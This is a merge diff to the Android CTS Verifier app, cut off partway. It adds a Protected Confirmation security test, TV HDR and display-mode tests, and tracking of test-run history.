Merge "CTS secondary_user: CtsVoiceInteractionService"
diff --git a/apps/CtsVerifier/Android.mk b/apps/CtsVerifier/Android.mk
index af6dc5b0..c528a3d6 100644
--- a/apps/CtsVerifier/Android.mk
+++ b/apps/CtsVerifier/Android.mk
@@ -57,6 +57,7 @@
 LOCAL_JAVA_LIBRARIES += android.test.base.stubs
 LOCAL_JAVA_LIBRARIES += android.test.mock.stubs
 LOCAL_JAVA_LIBRARIES += voip-common
+LOCAL_JAVA_LIBRARIES += truth-prebuilt
 
 LOCAL_PACKAGE_NAME := CtsVerifier
 LOCAL_PRIVATE_PLATFORM_APIS := true
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index 96f2f2b..166eb89 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -54,6 +54,7 @@
     <uses-feature android:name="android.hardware.vr.high_performance" android:required="false"/>
     <uses-feature android:name="android.software.companion_device_setup" />
     <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+    <uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS" />
     <uses-permission android:name="android.permission.RECORD_AUDIO" />
     <uses-permission android:name="android.permission.WAKE_LOCK" />
     <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
@@ -1308,6 +1309,16 @@
                 android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch" />
         </activity>
 
+        <activity android:name=".security.ProtectedConfirmationTest"
+            android:label="@string/sec_protected_confirmation_test"
+            android:configChanges="keyboardHidden|orientation|screenSize" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+            <meta-data android:name="test_category" android:value="@string/test_category_security" />
+        </activity>
+
         <activity android:name=".security.ScreenLockBoundKeysTest"
                 android:label="@string/sec_lock_bound_key_test"
                 android:configChanges="keyboardHidden|orientation|screenSize" >
@@ -2082,7 +2093,7 @@
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_notifications" />
             <meta-data android:name="test_excluded_features"
-                       android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch" />
+                       android:value="android.hardware.type.automotive:android.hardware.type.television:android.software.leanback:android.hardware.type.watch" />
         </activity>
 
         <activity android:name=".notifications.AttentionManagementVerifierActivity"
@@ -3177,6 +3188,34 @@
                        android:value="android.software.leanback" />
         </activity>
 
+        <activity android:name=".tv.display.DisplayHdrCapabilitiesTestActivity"
+                  android:label="@string/tv_hdr_capabilities_test"
+                  android:configChanges="orientation|screenSize|density|smallestScreenSize|screenLayout">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+            <meta-data android:name="test_category" android:value="@string/test_category_tv" />
+            <meta-data android:name="test_required_features"
+                       android:value="android.software.leanback" />
+            <meta-data android:name="test_required_configs"
+                       android:value="config_hdmi_source"/>
+        </activity>
+        <activity android:name=".tv.display.DisplayModesTestActivity"
+                  android:label="@string/tv_display_modes_test"
+                  android:configChanges="orientation|screenSize|density|smallestScreenSize|screenLayout">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+            <meta-data android:name="test_category" android:value="@string/test_category_tv"/>
+            <meta-data android:name="test_required_features"
+                       android:value="android.software.leanback"/>
+            <meta-data android:name="test_required_configs"
+                       android:value="config_hdmi_source"/>
+        </activity>
+
+
         <activity android:name=".screenpinning.ScreenPinningTestActivity"
             android:label="@string/screen_pinning_test">
             <intent-filter>
@@ -3326,7 +3365,7 @@
                 <category android:name="android.cts.intent.category.MANUAL_TEST" />
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_audio" />
-            <meta-data android:name="test_required_features" android:value="android.hardware.usb.host" />
+            <meta-data android:name="test_required_features" android:value="android.hardware.usb.host:android.hardware.audio.pro" />
         </activity>
 
         <!-- ProAudio test invokes the "Loopback" App -->
diff --git a/apps/CtsVerifier/assets/report/compatibility_result.xsl b/apps/CtsVerifier/assets/report/compatibility_result.xsl
index 1e9ec31f..9dbeb51 100644
--- a/apps/CtsVerifier/assets/report/compatibility_result.xsl
+++ b/apps/CtsVerifier/assets/report/compatibility_result.xsl
@@ -229,7 +229,7 @@
                                             <td class="failuredetails">
                                                 <div class="details">
                                                     <xsl:choose>
-                                                        <xsl:when test="$fullStackTrace=true()">
+                                                        <xsl:when test="$fullStackTrace=true() and Failure/StackTrace != ''">
                                                             <xsl:value-of select="Failure/StackTrace" />
                                                         </xsl:when>
                                                         <xsl:otherwise>
diff --git a/apps/CtsVerifier/res/layout/sec_protected_confirmation_main.xml b/apps/CtsVerifier/res/layout/sec_protected_confirmation_main.xml
new file mode 100644
index 0000000..ffa8d46
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/sec_protected_confirmation_main.xml
@@ -0,0 +1,78 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
+        android:layout_width="match_parent"
+        android:layout_height="match_parent"
+        android:padding="10dip"
+        >
+
+    <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+                  android:id="@+id/sec_protected_confirmation_tee_layout"
+                  android:layout_width="wrap_content"
+                  android:layout_height="wrap_content"
+                  android:padding="10dp"
+                  android:orientation="horizontal"
+                  android:layout_centerInParent="true"
+                  android:gravity="center"
+                  >
+
+        <Button android:id="@+id/sec_start_test_button"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:text="@string/sec_protected_confirmation_tee_test"
+        />
+
+        <ImageView android:id="@+id/sec_protected_confirmation_tee_test_success"
+                   android:layout_width="wrap_content"
+                   android:layout_height="wrap_content"
+                   android:src="@drawable/fs_good"
+        />
+
+    </LinearLayout>
+
+    <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+                  android:id="@+id/sec_protected_confirmation_strongbox_layout"
+                  android:layout_width="wrap_content"
+                  android:layout_height="wrap_content"
+                  android:padding="10dp"
+                  android:orientation="horizontal"
+                  android:layout_centerHorizontal="true"
+                  android:layout_below="@id/sec_protected_confirmation_tee_layout"
+                  android:gravity="center"
+                  >
+
+        <Button android:id="@+id/sec_start_test_strongbox_button"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:text="@string/sec_protected_confirmation_strongbox_test"
+        />
+
+        <ImageView android:id="@+id/sec_protected_confirmation_strongbox_test_success"
+                   android:layout_width="wrap_content"
+                   android:layout_height="wrap_content"
+                   android:src="@drawable/fs_good"
+        />
+
+    </LinearLayout>
+
+    <include android:layout_width="match_parent"
+             android:layout_height="wrap_content"
+             android:layout_alignParentBottom="true"
+             layout="@layout/pass_fail_buttons"
+    />
+
+</RelativeLayout>
+
diff --git a/apps/CtsVerifier/res/layout/tv_item.xml b/apps/CtsVerifier/res/layout/tv_item.xml
index e7311f9..e2756ec 100644
--- a/apps/CtsVerifier/res/layout/tv_item.xml
+++ b/apps/CtsVerifier/res/layout/tv_item.xml
@@ -50,4 +50,12 @@
         android:layout_toRightOf="@id/status"
         android:visibility="gone" />
 
+    <ProgressBar
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:id="@+id/loadingSpinner"
+        android:layout_centerInParent="true"
+        android:layout_alignParentBottom="true"
+        android:visibility="invisible"/>
+
 </RelativeLayout>
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index 0cc8db1..cfdc8ce 100755
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -217,6 +217,23 @@
         are unusable without an authentication.
     </string>
 
+    <!-- Strings for protected confirmation test -->
+    <string name="sec_protected_confirmation_test">Android Protected Confirmation Test</string>
+    <string name="sec_protected_confirmation_test_info">
+        This test ensures that - if Android Protected Confirmation is supported by the device under
+        test - the user is able to see the confirmation message and confirm it. It also assures that
+        Keymaster signs a message with a confirmation key only if the message was previously
+        confirmed by the user.
+    </string>
+    <string name="sec_protected_confirmation_not_supported_title">Android Protected Confirmation not supported</string>
+    <string name="sec_protected_confirmation_not_supported_info">
+        Android Protected Confirmation is not implemented by this device. This is okay because this
+        is an optional feature. Set this test to passed and continue.
+    </string>
+    <string name="sec_protected_confirmation_message">This is a CtsVerifier test message!</string>
+    <string name="sec_protected_confirmation_tee_test">Start Tee Test</string>
+    <string name="sec_protected_confirmation_strongbox_test">Start Strongbox Test</string>
+
     <!-- Strings for BluetoothActivity -->
     <string name="bluetooth_test">Bluetooth Test</string>
     <string name="bluetooth_test_info">
@@ -4330,6 +4347,45 @@
     </string>
     <string name="tv_microphone_device_test_no_input_devices">No input devices found.</string>
 
+    <!-- Common strings for the TV Display tests -->
+    <string name="tv_start_test">Start Test</string>
+
+    <!-- HDR Capabilities test -->
+    <string name="tv_hdr_capabilities_test">HDR Capabilities Test</string>
+    <string name="tv_hdr_capabilities_test_info">This test checks if
+        Display.getHdrCapabilities correctly reports the HDR capabilities of the display.
+    </string>
+    <string name="tv_hdr_connect_no_hdr_display">Connect a non-HDR display and then
+        press the "%s" button, below.
+    </string>
+    <string name="tv_hdr_connect_hdr_display">Connect an HDR display and press
+        the "%s" button, below.
+    </string>
+    <string name="tv_hdr_disconnect_display">Press the "%1$s" button
+        and disconnect the display within %2$d seconds. Wait at least %3$d seconds and then
+        reconnect the display.
+    </string>
+
+    <!-- Display Modes Test -->
+    <string name="tv_display_modes_test">Display Modes Test</string>
+    <string name="tv_display_modes_test_info">This test checks if Display.getSupportedModes()
+        and Display.getMode() are correctly reporting the supported screen modes.
+    </string>
+    <string name="tv_display_modes_disconnect_display">
+        Press the "%1$s" button and disconnect the display within %2$d seconds. Wait at least %3$d
+        seconds and then reconnect the display.
+    </string>
+    <string name="tv_display_modes_test_step_no_display">No Display</string>
+    <string name="tv_display_modes_test_step_1080p">1080p Display</string>
+    <string name="tv_display_modes_test_step_2160p">2160p Display</string>
+    <string name="tv_display_modes_start_test_button">Start Test</string>
+    <string name="tv_display_modes_connect_2160p_display">
+        Connect a 2160p display and press the "%s" button, below.
+    </string>
+    <string name="tv_display_modes_connect_1080p_display">
+        Connect a 1080p display and press the "%s" button, below.
+    </string>
+
     <string name="overlay_view_text">Overlay View Dummy Text</string>
     <string name="custom_rating">Example of input app specific custom rating.</string>
 
@@ -4457,9 +4513,9 @@
        Audio Peripheral device with standard MIDI 5-pin, DIN (round) connectors and a standard
        MIDI cable. The cable must be connected to the MIDI input and output plugs on the
        peripheral.
-       \nFor the USB Bluetooth test it is required that you connect a Yamaha MT-BT301 to the
-       correct MIDI plugs on the USB peripheral, the BT301 output jack to the USB interface
-       input jack and BT301 input plug to the USB interface output jack.
+       \nFor the USB Bluetooth test it is required that you connect a Yamaha MD-BT01 to the
+       correct MIDI plugs on the USB peripheral, the BT01 output jack to the USB interface
+       input jack and BT01 input plug to the USB interface output jack.
        \nThe Virtual MIDI test does not require any MIDI interface hardware.
     </string>
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/AbstractTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/AbstractTestListActivity.java
index 3132219..9378596 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/AbstractTestListActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/AbstractTestListActivity.java
@@ -31,6 +31,8 @@
     private static final int LAUNCH_TEST_REQUEST_CODE = 9001;
 
     protected TestListAdapter mAdapter;
+    // Start time of test item.
+    protected long mStartTime;
 
     protected void setTestListAdapter(TestListAdapter adapter) {
         mAdapter = adapter;
@@ -74,6 +76,8 @@
     protected void handleLaunchTestResult(int resultCode, Intent data) {
         if (resultCode == RESULT_OK) {
             TestResult testResult = TestResult.fromActivityResult(resultCode, data);
+            testResult.getHistoryCollection().add(
+                testResult.getName(), mStartTime, System.currentTimeMillis());
             mAdapter.setTestResult(testResult);
         }
     }
@@ -82,6 +86,7 @@
     @Override
     protected final void onListItemClick(ListView listView, View view, int position, long id) {
         super.onListItemClick(listView, view, position, id);
+        mStartTime = System.currentTimeMillis();
         handleItemClick(listView, view, position, id);
     }
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/DialogTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/DialogTestListActivity.java
index aa6eaba..bed5a77 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/DialogTestListActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/DialogTestListActivity.java
@@ -224,7 +224,7 @@
         // Bundle result in an intent to feed into handleLaunchTestResult
         Intent resultIntent = new Intent();
         TestResult.addResultData(resultIntent, result, test.testName, /* testDetails */ null,
-                /* reportLog */ null);
+                /* reportLog */ null, null);
         handleLaunchTestResult(RESULT_OK, resultIntent);
         getListView().smoothScrollToPosition(mCurrentTestPosition + 1);
     }
@@ -233,7 +233,7 @@
         // Bundle result in an intent to feed into handleLaunchTestResult
         Intent resultIntent = new Intent();
         TestResult.addResultData(resultIntent, result, testName, /* testDetails */ null,
-                /* reportLog */ null);
+                /* reportLog */ null, null);
         handleLaunchTestResult(RESULT_OK, resultIntent);
         getListView().smoothScrollToPosition(mCurrentTestPosition + 1);
     }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/ManifestTestListAdapter.java b/apps/CtsVerifier/src/com/android/cts/verifier/ManifestTestListAdapter.java
index 47514b8..76019cb 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/ManifestTestListAdapter.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/ManifestTestListAdapter.java
@@ -27,13 +27,17 @@
 import android.util.Log;
 import android.widget.ListView;
 
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
 import java.util.ArrayList;
+import java.util.Arrays;
 import java.util.Collections;
 import java.util.Comparator;
 import java.util.HashMap;
 import java.util.HashSet;
 import java.util.List;
 import java.util.Map;
+import java.util.stream.Collectors;
 
 /**
  * {@link TestListAdapter} that populates the {@link TestListActivity}'s {@link ListView} by
@@ -89,6 +93,7 @@
  * </ol>
  */
 public class ManifestTestListAdapter extends TestListAdapter {
+    private static final String LOG_TAG = "ManifestTestListAdapter";
 
     private static final String TEST_CATEGORY_META_DATA = "test_category";
 
@@ -106,6 +111,8 @@
 
     private static final String CONFIG_HAS_RECENTS = "config_has_recents";
 
+    private static final String CONFIG_HDMI_SOURCE = "config_hdmi_source";
+
     private final HashSet<String> mDisabledTests;
 
     private Context mContext;
@@ -146,12 +153,7 @@
             List<TestListItem> tests = filterTests(testsByCategory.get(testCategory));
             if (!tests.isEmpty()) {
                 allRows.add(TestListItem.newCategory(testCategory));
-                Collections.sort(tests, new Comparator<TestListItem>() {
-                    @Override
-                    public int compare(TestListItem item, TestListItem otherItem) {
-                        return item.title.compareTo(otherItem.title);
-                    }
-                });
+                Collections.sort(tests, Comparator.comparing(item -> item.title));
                 allRows.addAll(tests);
             }
         }
@@ -168,7 +170,7 @@
                 PackageManager.GET_ACTIVITIES | PackageManager.GET_META_DATA);
         int size = list.size();
 
-        List<ResolveInfo> matchingList = new ArrayList<ResolveInfo>();
+        List<ResolveInfo> matchingList = new ArrayList<>();
         for (int i = 0; i < size; i++) {
             ResolveInfo info = list.get(i);
             String parent = getTestParent(info.activityInfo.metaData);
@@ -181,14 +183,13 @@
     }
 
     Map<String, List<TestListItem>> getTestsByCategory(List<ResolveInfo> list) {
-        Map<String, List<TestListItem>> testsByCategory =
-                new HashMap<String, List<TestListItem>>();
+        Map<String, List<TestListItem>> testsByCategory = new HashMap<>();
 
         int size = list.size();
         for (int i = 0; i < size; i++) {
             ResolveInfo info = list.get(i);
             if (info.activityInfo == null || mDisabledTests.contains(info.activityInfo.name)) {
-                Log.w("CtsVerifier", "ignoring disabled test: " + info.activityInfo.name);
+                Log.w(LOG_TAG, "ignoring disabled test: " + info.activityInfo.name);
                 continue;
             }
             String title = getTitle(mContext, info.activityInfo);
@@ -345,6 +346,19 @@
                             return false;
                         }
                         break;
+                    case CONFIG_HDMI_SOURCE:
+                        final int DEVICE_TYPE_HDMI_SOURCE = 4;
+                        try {
+                            if (!getHdmiDeviceType().contains(DEVICE_TYPE_HDMI_SOURCE)) {
+                                return false;
+                            }
+                        } catch (Exception exception) {
+                            Log.e(
+                                    LOG_TAG,
+                                    "Exception while looking up HDMI device type.",
+                                    exception);
+                        }
+                        break;
                     default:
                         break;
                 }
@@ -353,8 +367,24 @@
         return true;
     }
 
+    private static List<Integer> getHdmiDeviceType()
+            throws InvocationTargetException, IllegalAccessException, ClassNotFoundException,
+                    NoSuchMethodException {
+        Method getStringMethod =
+                ClassLoader.getSystemClassLoader()
+                        .loadClass("android.os.SystemProperties")
+                        .getMethod("get", String.class);
+        String deviceTypesStr = (String) getStringMethod.invoke(null, "ro.hdmi.device_type");
+        if (deviceTypesStr.equals("")) {
+            return new ArrayList<>();
+        }
+        return Arrays.stream(deviceTypesStr.split(","))
+                .map(Integer::parseInt)
+                .collect(Collectors.toList());
+    }
+
     List<TestListItem> filterTests(List<TestListItem> tests) {
-        List<TestListItem> filteredTests = new ArrayList<TestListItem>();
+        List<TestListItem> filteredTests = new ArrayList<>();
         for (TestListItem test : tests) {
             if (!hasAnyFeature(test.excludedFeatures) && hasAllFeatures(test.requiredFeatures)
                     && matchAllConfigs(test.requiredConfigs)) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/PassFailButtons.java b/apps/CtsVerifier/src/com/android/cts/verifier/PassFailButtons.java
index 4a8004a..7776d27 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/PassFailButtons.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/PassFailButtons.java
@@ -36,6 +36,10 @@
 import android.widget.ImageButton;
 import android.widget.Toast;
 
+import java.util.List;
+import java.util.stream.Collectors;
+import java.util.stream.IntStream;
+
 /**
  * {@link Activity}s to handle clicks to the pass and fail buttons of the pass fail buttons layout.
  *
@@ -99,14 +103,21 @@
 
         /** @return A {@link ReportLog} that is used to record test metric data. */
         ReportLog getReportLog();
+
+        /**
+         * @return A {@link TestResultHistoryCollection} that is used to record test execution time.
+         */
+        TestResultHistoryCollection getHistoryCollection();
     }
 
     public static class Activity extends android.app.Activity implements PassFailActivity {
         private WakeLock mWakeLock;
         private final ReportLog reportLog;
+        private final TestResultHistoryCollection mHistoryCollection;
 
         public Activity() {
            this.reportLog = new CtsVerifierReportLog();
+           this.mHistoryCollection = new TestResultHistoryCollection();
         }
 
         @Override
@@ -160,19 +171,25 @@
         @Override
         public void setTestResultAndFinish(boolean passed) {
             PassFailButtons.setTestResultAndFinishHelper(
-                    this, getTestId(), getTestDetails(), passed, getReportLog());
+                    this, getTestId(), getTestDetails(), passed, getReportLog(),
+                    getHistoryCollection());
         }
 
         @Override
         public ReportLog getReportLog() { return reportLog; }
+
+        @Override
+        public TestResultHistoryCollection getHistoryCollection() { return mHistoryCollection; }
     }
 
     public static class ListActivity extends android.app.ListActivity implements PassFailActivity {
 
         private final ReportLog reportLog;
+        private final TestResultHistoryCollection mHistoryCollection;
 
         public ListActivity() {
             this.reportLog = new CtsVerifierReportLog();
+            this.mHistoryCollection = new TestResultHistoryCollection();
         }
 
         @Override
@@ -208,11 +225,15 @@
         @Override
         public void setTestResultAndFinish(boolean passed) {
             PassFailButtons.setTestResultAndFinishHelper(
-                    this, getTestId(), getTestDetails(), passed, getReportLog());
+                    this, getTestId(), getTestDetails(), passed, getReportLog(),
+                    getHistoryCollection());
         }
 
         @Override
         public ReportLog getReportLog() { return reportLog; }
+
+        @Override
+        public TestResultHistoryCollection getHistoryCollection() { return mHistoryCollection; }
     }
 
     public static class TestListActivity extends AbstractTestListActivity
@@ -257,12 +278,27 @@
         @Override
         public void setTestResultAndFinish(boolean passed) {
             PassFailButtons.setTestResultAndFinishHelper(
-                    this, getTestId(), getTestDetails(), passed, getReportLog());
+                    this, getTestId(), getTestDetails(), passed, getReportLog(),
+                    getHistoryCollection());
         }
 
         @Override
         public ReportLog getReportLog() { return reportLog; }
 
+        /**
+         * Get existing test history to aggregate.
+         */
+        @Override
+        public TestResultHistoryCollection getHistoryCollection() {
+            List<TestResultHistoryCollection> histories =
+                IntStream.range(0, mAdapter.getCount())
+                .mapToObj(mAdapter::getHistoryCollection)
+                .collect(Collectors.toList());
+            TestResultHistoryCollection historyCollection = new TestResultHistoryCollection();
+            historyCollection.merge(getTestId(), histories);
+            return historyCollection;
+        }
+
         public void updatePassButton() {
             getPassButton().setEnabled(mAdapter.allTestsPassed());
         }
@@ -274,7 +310,7 @@
             @Override
             public void onClick(View target) {
                 setTestResultAndFinish(activity, activity.getTestId(), activity.getTestDetails(),
-                        activity.getReportLog(), target);
+                        activity.getReportLog(), activity.getHistoryCollection(), target);
             }
         };
 
@@ -399,7 +435,8 @@
 
     /** Set the test result corresponding to the button clicked and finish the activity. */
     protected static void setTestResultAndFinish(android.app.Activity activity, String testId,
-            String testDetails, ReportLog reportLog, View target) {
+            String testDetails, ReportLog reportLog, TestResultHistoryCollection historyCollection,
+            View target) {
         boolean passed;
         if (target.getId() == R.id.pass_button) {
             passed = true;
@@ -409,16 +446,17 @@
             throw new IllegalArgumentException("Unknown id: " + target.getId());
         }
 
-        setTestResultAndFinishHelper(activity, testId, testDetails, passed, reportLog);
+        setTestResultAndFinishHelper(activity, testId, testDetails, passed, reportLog, historyCollection);
     }
 
     /** Set the test result and finish the activity. */
     protected static void setTestResultAndFinishHelper(android.app.Activity activity, String testId,
-            String testDetails, boolean passed, ReportLog reportLog) {
+            String testDetails, boolean passed, ReportLog reportLog,
+            TestResultHistoryCollection historyCollection) {
         if (passed) {
-            TestResult.setPassedResult(activity, testId, testDetails, reportLog);
+            TestResult.setPassedResult(activity, testId, testDetails, reportLog, historyCollection);
         } else {
-            TestResult.setFailedResult(activity, testId, testDetails, reportLog);
+            TestResult.setFailedResult(activity, testId, testDetails, reportLog, historyCollection);
         }
 
         activity.finish();
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/TestListAdapter.java b/apps/CtsVerifier/src/com/android/cts/verifier/TestListAdapter.java
index d9ea84f..17efb22 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/TestListAdapter.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/TestListAdapter.java
@@ -17,6 +17,7 @@
 package com.android.cts.verifier;
 
 import com.android.compatibility.common.util.ReportLog;
+import com.android.compatibility.common.util.TestResultHistory;
 
 import android.content.ContentResolver;
 import android.content.Context;
@@ -74,6 +75,9 @@
     /** Map from test name to {@link ReportLog}. */
     private final Map<String, ReportLog> mReportLogs = new HashMap<String, ReportLog>();
 
+    /** Map from test name to {@link TestResultHistory}. */
+    private final Map<String, TestResultHistoryCollection> mHistories = new HashMap<>();
+
     private final LayoutInflater mLayoutInflater;
 
     /** {@link ListView} row that is either a test category header or a test. */
@@ -192,8 +196,14 @@
     }
 
     public void setTestResult(TestResult testResult) {
-        new SetTestResultTask(testResult.getName(), testResult.getResult(),
-                testResult.getDetails(), testResult.getReportLog()).execute();
+        String name = testResult.getName();
+
+        // Append existing history
+        TestResultHistoryCollection histories = testResult.getHistoryCollection();
+        histories.merge(null, mHistories.get(name));
+
+        new SetTestResultTask(name, testResult.getResult(),
+                testResult.getDetails(), testResult.getReportLog(), histories).execute();
     }
 
     class RefreshTestResultsTask extends AsyncTask<Void, Void, RefreshResult> {
@@ -214,6 +224,8 @@
             mTestDetails.putAll(result.mDetails);
             mReportLogs.clear();
             mReportLogs.putAll(result.mReportLogs);
+            mHistories.clear();
+            mHistories.putAll(result.mHistories);
             notifyDataSetChanged();
         }
     }
@@ -223,16 +235,19 @@
         Map<String, Integer> mResults;
         Map<String, String> mDetails;
         Map<String, ReportLog> mReportLogs;
+        Map<String, TestResultHistoryCollection> mHistories;
 
         RefreshResult(
                 List<TestListItem> items,
                 Map<String, Integer> results,
                 Map<String, String> details,
-                Map<String, ReportLog> reportLogs) {
+                Map<String, ReportLog> reportLogs,
+                Map<String, TestResultHistoryCollection> histories) {
             mItems = items;
             mResults = results;
             mDetails = details;
             mReportLogs = reportLogs;
+            mHistories = histories;
         }
     }
 
@@ -244,12 +259,14 @@
         TestResultsProvider.COLUMN_TEST_RESULT,
         TestResultsProvider.COLUMN_TEST_DETAILS,
         TestResultsProvider.COLUMN_TEST_METRICS,
+        TestResultsProvider.COLUMN_TEST_RESULT_HISTORY,
     };
 
     RefreshResult getRefreshResults(List<TestListItem> items) {
         Map<String, Integer> results = new HashMap<String, Integer>();
         Map<String, String> details = new HashMap<String, String>();
         Map<String, ReportLog> reportLogs = new HashMap<String, ReportLog>();
+        Map<String, TestResultHistoryCollection> histories = new HashMap<>();
         ContentResolver resolver = mContext.getContentResolver();
         Cursor cursor = null;
         try {
@@ -261,9 +278,12 @@
                     int testResult = cursor.getInt(2);
                     String testDetails = cursor.getString(3);
                     ReportLog reportLog = (ReportLog) deserialize(cursor.getBlob(4));
+                    TestResultHistoryCollection historyCollection =
+                        (TestResultHistoryCollection) deserialize(cursor.getBlob(5));
                     results.put(testName, testResult);
                     details.put(testName, testDetails);
                     reportLogs.put(testName, reportLog);
+                    histories.put(testName, historyCollection);
                 } while (cursor.moveToNext());
             }
         } finally {
@@ -271,7 +291,7 @@
                 cursor.close();
             }
         }
-        return new RefreshResult(items, results, details, reportLogs);
+        return new RefreshResult(items, results, details, reportLogs, histories);
     }
 
     class ClearTestResultsTask extends AsyncTask<Void, Void, Void> {
@@ -287,27 +307,28 @@
     class SetTestResultTask extends AsyncTask<Void, Void, Void> {
 
         private final String mTestName;
-
         private final int mResult;
-
         private final String mDetails;
-
         private final ReportLog mReportLog;
+        private final TestResultHistoryCollection mHistoryCollection;
 
         SetTestResultTask(
                 String testName,
                 int result,
                 String details,
-                ReportLog reportLog) {
+                ReportLog reportLog,
+                TestResultHistoryCollection historyCollection) {
             mTestName = testName;
             mResult = result;
             mDetails = details;
             mReportLog = reportLog;
+            mHistoryCollection = historyCollection;
         }
 
         @Override
         protected Void doInBackground(Void... params) {
-            TestResultsProvider.setTestResult(mContext, mTestName, mResult, mDetails, mReportLog);
+            TestResultsProvider.setTestResult(
+                mContext, mTestName, mResult, mDetails, mReportLog, mHistoryCollection);
             return null;
         }
     }
@@ -382,6 +403,19 @@
                 : null;
     }
 
+    /**
+     * Get test result histories.
+     *
+     * @param position The position of test.
+     * @return A {@link TestResultHistoryCollection} object containing test result histories of tests.
+     */
+    public TestResultHistoryCollection getHistoryCollection(int position) {
+        TestListItem item = getItem(position);
+        return mHistories.containsKey(item.testName)
+            ? mHistories.get(item.testName)
+            : null;
+    }
+
     public boolean allTestsPassed() {
         for (TestListItem item : mRows) {
             if (item.isTest() && (!mTestResults.containsKey(item.testName)
@@ -451,7 +485,7 @@
         }
     }
 
-    private static Object deserialize(byte[] bytes) {
+    public static Object deserialize(byte[] bytes) {
         if (bytes == null || bytes.length == 0) {
             return null;
         }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/TestResult.java b/apps/CtsVerifier/src/com/android/cts/verifier/TestResult.java
index 07208dd..9f867d5 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/TestResult.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/TestResult.java
@@ -17,6 +17,7 @@
 package com.android.cts.verifier;
 
 import com.android.compatibility.common.util.ReportLog;
+import com.android.compatibility.common.util.TestResultHistory;
 
 import android.app.Activity;
 import android.content.Intent;
@@ -38,11 +39,13 @@
     private static final String TEST_RESULT = "result";
     private static final String TEST_DETAILS = "details";
     private static final String TEST_METRICS = "metrics";
+    private static final String TEST_HISTORY_COLLECTION = "historyCollection";
 
     private final String mName;
     private final int mResult;
     private final String mDetails;
     private final ReportLog mReportLog;
+    private final TestResultHistoryCollection mHistoryCollection;
 
     /** Sets the test activity's result to pass. */
     public static void setPassedResult(Activity activity, String testId, String testDetails) {
@@ -53,7 +56,14 @@
     public static void setPassedResult(Activity activity, String testId, String testDetails,
             ReportLog reportLog) {
         activity.setResult(Activity.RESULT_OK, createResult(activity, TEST_RESULT_PASSED, testId,
-                testDetails, reportLog));
+            testDetails, reportLog, null /*history*/));
+    }
+
+    /** Sets the test activity's result to pass including a test report log result and history. */
+    public static void setPassedResult(Activity activity, String testId, String testDetails,
+            ReportLog reportLog, TestResultHistoryCollection historyCollection) {
+        activity.setResult(Activity.RESULT_OK, createResult(activity, TEST_RESULT_PASSED, testId,
+                testDetails, reportLog, historyCollection));
     }
 
     /** Sets the test activity's result to failed. */
@@ -65,22 +75,30 @@
     public static void setFailedResult(Activity activity, String testId, String testDetails,
             ReportLog reportLog) {
         activity.setResult(Activity.RESULT_OK, createResult(activity, TEST_RESULT_FAILED, testId,
-                testDetails, reportLog));
+                testDetails, reportLog, null /*history*/));
+    }
+
+    /** Sets the test activity's result to failed including a test report log result and history. */
+    public static void setFailedResult(Activity activity, String testId, String testDetails,
+            ReportLog reportLog, TestResultHistoryCollection historyCollection) {
+        activity.setResult(Activity.RESULT_OK, createResult(activity, TEST_RESULT_FAILED, testId,
+            testDetails, reportLog, historyCollection));
     }
 
     public static Intent createResult(Activity activity, int testResult, String testName,
